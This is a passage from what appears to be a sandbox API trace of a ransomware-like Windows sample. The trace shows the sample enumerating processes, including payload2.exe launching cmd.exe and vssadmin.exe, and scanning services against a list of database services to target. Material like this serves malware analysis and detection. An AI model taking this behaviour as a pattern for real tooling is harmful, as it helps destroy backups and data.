[0037.859] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.860] lstrlenW (lpString="lsass.exe") returned 9 [0037.860] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.861] lstrlenW (lpString="lsm.exe") returned 7 [0037.861] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.862] lstrlenW (lpString="svchost.exe") returned 11 [0037.862] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.862] lstrlenW (lpString="svchost.exe") returned 11 [0037.862] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.863] lstrlenW (lpString="svchost.exe") returned 11 [0037.863] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.864] lstrlenW (lpString="svchost.exe") returned 11 [0037.864] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.864] lstrlenW (lpString="svchost.exe") returned 11 [0037.864] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.865] lstrlenW (lpString="audiodg.exe") returned 11 [0037.865] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.866] lstrlenW (lpString="svchost.exe") returned 11 [0037.866] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.867] lstrlenW (lpString="svchost.exe") returned 11 [0037.867] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.867] lstrlenW (lpString="dwm.exe") returned 7 [0037.867] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.868] lstrlenW (lpString="explorer.exe") returned 12 [0037.868] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.869] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.869] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.869] lstrlenW (lpString="taskhost.exe") returned 12 [0037.869] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.870] lstrlenW (lpString="svchost.exe") returned 11 [0037.870] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.871] lstrlenW (lpString="taskeng.exe") returned 11 [0037.871] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.874] lstrlenW (lpString="taskhost.exe") returned 12 [0037.874] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0037.875] lstrlenW (lpString="presidential.exe") returned 16 [0037.875] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0037.876] lstrlenW (lpString="ol-filing.exe") returned 13 [0037.876] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0037.877] lstrlenW (lpString="overcome.exe") returned 12 [0037.877] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0037.877] lstrlenW (lpString="declinedreferral.exe") returned 20 [0037.877] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0037.878] lstrlenW (lpString="franciscotrack.exe") returned 18 [0037.878] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0037.879] lstrlenW (lpString="nicholas.exe") returned 12 [0037.879] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0037.879] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0037.879] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0037.880] lstrlenW (lpString="word.exe") returned 8 [0037.880] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0037.881] lstrlenW (lpString="semestermeta.exe") returned 16 [0037.881] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0037.881] lstrlenW (lpString="reflects.exe") returned 12 [0037.882] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0037.882] lstrlenW (lpString="beveragesradios.exe") returned 19 [0037.882] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0037.883] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0037.883] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0037.884] lstrlenW (lpString="ground.exe") returned 10 [0037.884] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0037.884] lstrlenW (lpString="least.exe") returned 9 [0037.884] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0037.885] lstrlenW (lpString="meetings.exe") returned 12 [0037.885] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0037.886] lstrlenW (lpString="wooltestimony.exe") returned 17 [0037.886] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0037.886] lstrlenW (lpString="inexpensive.exe") returned 15 [0037.886] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0038.693] lstrlenW (lpString="er-amd.exe") returned 10 [0038.700] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0038.701] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0038.701] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.702] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.702] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0038.702] lstrlenW (lpString="mobsync.exe") returned 11 [0038.702] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.703] lstrlenW (lpString="dllhost.exe") returned 11 [0038.703] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.704] lstrlenW (lpString="dllhost.exe") returned 11 [0038.704] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0038.705] lstrlenW (lpString="payload2.exe") returned 12 [0038.705] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.705] lstrlenW (lpString="cmd.exe") returned 7 [0038.705] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.706] lstrlenW (lpString="conhost.exe") returned 11 [0038.706] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.707] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.707] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0038.708] lstrlenW (lpString="VSSVC.exe") returned 9 [0038.708] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0038.708] CloseHandle (hObject=0x1c0) returned 1 [0038.708] Sleep (dwMilliseconds=0x1f4) [0039.435] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fdf8 [0039.435] EnumServicesStatusExW (in: hSCManager=0x29fdf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0039.436] GetLastError () returned 0xea [0039.436] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x123e) returned 0x3f8c2e8 [0039.436] EnumServicesStatusExW (in: hSCManager=0x29fdf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f8c2e8, cbBufSize=0x123e, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f8c2e8, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0039.436] CloseServiceHandle (hSCObject=0x29fdf8) returned 1 [0039.437] lstrlenW (lpString="Appinfo") returned 7 [0039.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.437] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.437] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.437] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.437] lstrlenW (lpString="AudioSrv") returned 8 [0039.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.437] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.437] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.437] lstrlenW (lpString="BFE") returned 3 [0039.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.437] lstrlenW (lpString="CryptSvc") returned 8 [0039.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.437] lstrlenW (lpString="CscService") returned 10 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.438] lstrlenW (lpString="DcomLaunch") returned 10 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.438] lstrlenW (lpString="Dhcp") returned 4 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.438] lstrlenW (lpString="Dnscache") returned 8 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.438] lstrlenW (lpString="DPS") returned 3 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.438] lstrlenW (lpString="eventlog") returned 8 [0039.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.438] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.438] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0039.439] lstrlenW (lpString="EventSystem") returned 11 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.439] lstrlenW (lpString="gpsvc") returned 5 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.439] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.439] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.439] lstrlenW (lpString="iphlpsvc") returned 8 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.439] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.439] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.439] lstrlenW (lpString="LanmanServer") returned 12 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.439] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.439] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.439] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.439] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.439] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.439] lstrlenW (lpString="lmhosts") returned 7 [0039.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.440] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.440] lstrlenW (lpString="MMCSS") returned 5 [0039.440] lstrcmpiW 